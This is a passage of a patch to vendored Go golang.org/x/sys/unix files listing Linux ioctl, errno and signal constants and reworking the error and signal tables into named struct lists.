-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGPGRP = 0x540f
-+ TIOCGPKT = 0x80045438
-+ TIOCGPTLCK = 0x80045439
-+ TIOCGPTN = 0x80045430
-+ TIOCGPTPEER = 0x5441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x5413
-+ TIOCINQ = 0x541b
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x5411
-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x5423
-+ TIOCSIG = 0x40045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSPGRP = 0x5410
-+ TIOCSPTLCK = 0x40045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTI = 0x5412
-+ TIOCSWINSZ = 0x5414
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x100
-+ TUNATTACHFILTER = 0x400854d5
-+ TUNDETACHFILTER = 0x400854d6
-+ TUNGETDEVNETNS = 0x54e3
-+ TUNGETFEATURES = 0x800454cf
-+ TUNGETFILTER = 0x800854db
-+ TUNGETIFF = 0x800454d2
-+ TUNGETSNDBUF = 0x800454d3
-+ TUNGETVNETBE = 0x800454df
-+ TUNGETVNETHDRSZ = 0x800454d7
-+ TUNGETVNETLE = 0x800454dd
-+ TUNSETCARRIER = 0x400454e2
-+ TUNSETDEBUG = 0x400454c9
-+ TUNSETFILTEREBPF = 0x800454e1
-+ TUNSETGROUP = 0x400454ce
-+ TUNSETIFF = 0x400454ca
-+ TUNSETIFINDEX = 0x400454da
-+ TUNSETLINK = 0x400454cd
-+ TUNSETNOCSUM = 0x400454c8
-+ TUNSETOFFLOAD = 0x400454d0
-+ TUNSETOWNER = 0x400454cc
-+ TUNSETPERSIST = 0x400454cb
-+ TUNSETQUEUE = 0x400454d9
-+ TUNSETSNDBUF = 0x400454d4
-+ TUNSETSTEERINGEBPF = 0x800454e0
-+ TUNSETTXFILTER = 0x400454d1
-+ TUNSETVNETBE = 0x400454de
-+ TUNSETVNETHDRSZ = 0x400454d8
-+ TUNSETVNETLE = 0x400454dc
-+ UBI_IOCATT = 0x40186f40
-+ UBI_IOCDET = 0x40046f41
-+ UBI_IOCEBCH = 0x40044f02
-+ UBI_IOCEBER = 0x40044f01
-+ UBI_IOCEBISMAP = 0x80044f05
-+ UBI_IOCEBMAP = 0x40084f03
-+ UBI_IOCEBUNMAP = 0x40044f04
-+ UBI_IOCMKVOL = 0x40986f00
-+ UBI_IOCRMVOL = 0x40046f01
-+ UBI_IOCRNVOL = 0x51106f03
-+ UBI_IOCRPEB = 0x40046f04
-+ UBI_IOCRSVOL = 0x400c6f02
-+ UBI_IOCSETVOLPROP = 0x40104f06
-+ UBI_IOCSPEB = 0x40046f05
-+ UBI_IOCVOLCRBLK = 0x40804f07
-+ UBI_IOCVOLRMBLK = 0x4f08
-+ UBI_IOCVOLUP = 0x40084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x4
-+ VEOL = 0xb
-+ VEOL2 = 0x10
-+ VMIN = 0x6
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x80045702
-+ WDIOC_GETPRETIMEOUT = 0x80045709
-+ WDIOC_GETSTATUS = 0x80045701
-+ WDIOC_GETSUPPORT = 0x80285700
-+ WDIOC_GETTEMP = 0x80045703
-+ WDIOC_GETTIMELEFT = 0x8004570a
-+ WDIOC_GETTIMEOUT = 0x80045707
-+ WDIOC_KEEPALIVE = 0x80045705
-+ WDIOC_SETOPTIONS = 0x80045704
-+ WORDSIZE = 0x20
-+ X86_FXSR_MAGIC = 0x0
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x62)
- EADDRNOTAVAIL = syscall.Errno(0x63)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x61)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x72)
- EBADE = syscall.Errno(0x34)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x4d)
- EBADMSG = syscall.Errno(0x4a)
- EBADR = syscall.Errno(0x35)
- EBADRQC = syscall.Errno(0x38)
- EBADSLT = syscall.Errno(0x39)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7d)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x2c)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x67)
-@@ -1881,23 +500,15 @@ const (
- EDEADLK = syscall.Errno(0x23)
- EDEADLOCK = syscall.Errno(0x23)
- EDESTADDRREQ = syscall.Errno(0x59)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x7a)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x70)
- EHOSTUNREACH = syscall.Errno(0x71)
- EHWPOISON = syscall.Errno(0x85)
- EIDRM = syscall.Errno(0x2b)
- EILSEQ = syscall.Errno(0x54)
- EINPROGRESS = syscall.Errno(0x73)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x6a)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x7f)
- EKEYREJECTED = syscall.Errno(0x81)
-@@ -1914,8 +525,6 @@ const (
- ELNRNG = syscall.Errno(0x30)
- ELOOP = syscall.Errno(0x28)
- EMEDIUMTYPE = syscall.Errno(0x7c)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x5a)
- EMULTIHOP = syscall.Errno(0x48)
- ENAMETOOLONG = syscall.Errno(0x24)
-@@ -1923,103 +532,70 @@ const (
- ENETDOWN = syscall.Errno(0x64)
- ENETRESET = syscall.Errno(0x66)
- ENETUNREACH = syscall.Errno(0x65)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x37)
- ENOBUFS = syscall.Errno(0x69)
- ENOCSI = syscall.Errno(0x32)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x7e)
- ENOLCK = syscall.Errno(0x25)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x7b)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x2a)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x5c)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x26)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x6b)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x27)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x83)
- ENOTSOCK = syscall.Errno(0x58)
- ENOTSUP = syscall.Errno(0x5f)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x4c)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x5f)
- EOVERFLOW = syscall.Errno(0x4b)
- EOWNERDEAD = syscall.Errno(0x82)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x60)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x5d)
- EPROTOTYPE = syscall.Errno(0x5b)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x4e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x55)
- ERFKILL = syscall.Errno(0x84)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x6c)
- ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x74)
- ESTRPIPE = syscall.Errno(0x56)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x6e)
- ETOOMANYREFS = syscall.Errno(0x6d)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x31)
- EUSERS = syscall.Errno(0x57)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x36)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0x7)
- SIGCHLD = syscall.Signal(0x11)
- SIGCLD = syscall.Signal(0x11)
- SIGCONT = syscall.Signal(0x12)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x1d)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x1d)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1e)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTKFLT = syscall.Signal(0x10)
- SIGSTOP = syscall.Signal(0x13)
- SIGSYS = syscall.Signal(0x1f)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x14)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-- SIGUNUSED = syscall.Signal(0x1f)
- SIGURG = syscall.Signal(0x17)
- SIGUSR1 = syscall.Signal(0xa)
- SIGUSR2 = syscall.Signal(0xc)
-@@ -2030,171 +606,179 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "resource deadlock avoided",
-- 36: "file name too long",
-- 37: "no locks available",
-- 38: "function not implemented",
-- 39: "directory not empty",
-- 40: "too many levels of symbolic links",
-- 42: "no message of desired type",
-- 43: "identifier removed",
-- 44: "channel number out of range",
-- 45: "level 2 not synchronized",
-- 46: "level 3 halted",
-- 47: "level 3 reset",
-- 48: "link number out of range",
-- 49: "protocol driver not attached",
-- 50: "no CSI structure available",
-- 51: "level 2 halted",
-- 52: "invalid exchange",
-- 53: "invalid request descriptor",
-- 54: "exchange full",
-- 55: "no anode",
-- 56: "invalid request code",
-- 57: "invalid slot",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "multihop attempted",
-- 73: "RFS specific error",
-- 74: "bad message",
-- 75: "value too large for defined data type",
-- 76: "name not unique on network",
-- 77: "file descriptor in bad state",
-- 78: "remote address changed",
-- 79: "can not access a needed shared library",
-- 80: "accessing a corrupted shared library",
-- 81: ".lib section in a.out corrupted",
-- 82: "attempting to link in too many shared libraries",
-- 83: "cannot exec a shared library directly",
-- 84: "invalid or incomplete multibyte or wide character",
-- 85: "interrupted system call should be restarted",
-- 86: "streams pipe error",
-- 87: "too many users",
-- 88: "socket operation on non-socket",
-- 89: "destination address required",
-- 90: "message too long",
-- 91: "protocol wrong type for socket",
-- 92: "protocol not available",
-- 93: "protocol not supported",
-- 94: "socket type not supported",
-- 95: "operation not supported",
-- 96: "protocol family not supported",
-- 97: "address family not supported by protocol",
-- 98: "address already in use",
-- 99: "cannot assign requested address",
-- 100: "network is down",
-- 101: "network is unreachable",
-- 102: "network dropped connection on reset",
-- 103: "software caused connection abort",
-- 104: "connection reset by peer",
-- 105: "no buffer space available",
-- 106: "transport endpoint is already connected",
-- 107: "transport endpoint is not connected",
-- 108: "cannot send after transport endpoint shutdown",
-- 109: "too many references: cannot splice",
-- 110: "connection timed out",
-- 111: "connection refused",
-- 112: "host is down",
-- 113: "no route to host",
-- 114: "operation already in progress",
-- 115: "operation now in progress",
-- 116: "stale file handle",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "disk quota exceeded",
-- 123: "no medium found",
-- 124: "wrong medium type",
-- 125: "operation canceled",
-- 126: "required key not available",
-- 127: "key has expired",
-- 128: "key has been revoked",
-- 129: "key was rejected by service",
-- 130: "owner died",
-- 131: "state not recoverable",
-- 132: "operation not possible due to RF-kill",
-- 133: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "bus error",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "user defined signal 1",
-- 11: "segmentation fault",
-- 12: "user defined signal 2",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "stack fault",
-- 17: "child exited",
-- 18: "continued",
-- 19: "stopped (signal)",
-- 20: "stopped",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "urgent I/O condition",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "I/O possible",
-- 30: "power failure",
-- 31: "bad system call",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go
-index a6618fc1..005970f7 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go
-@@ -3,7 +3,7 @@
-
- // +build amd64,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include -m64 _const.go
-
- package unix
-@@ -11,1869 +11,487 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
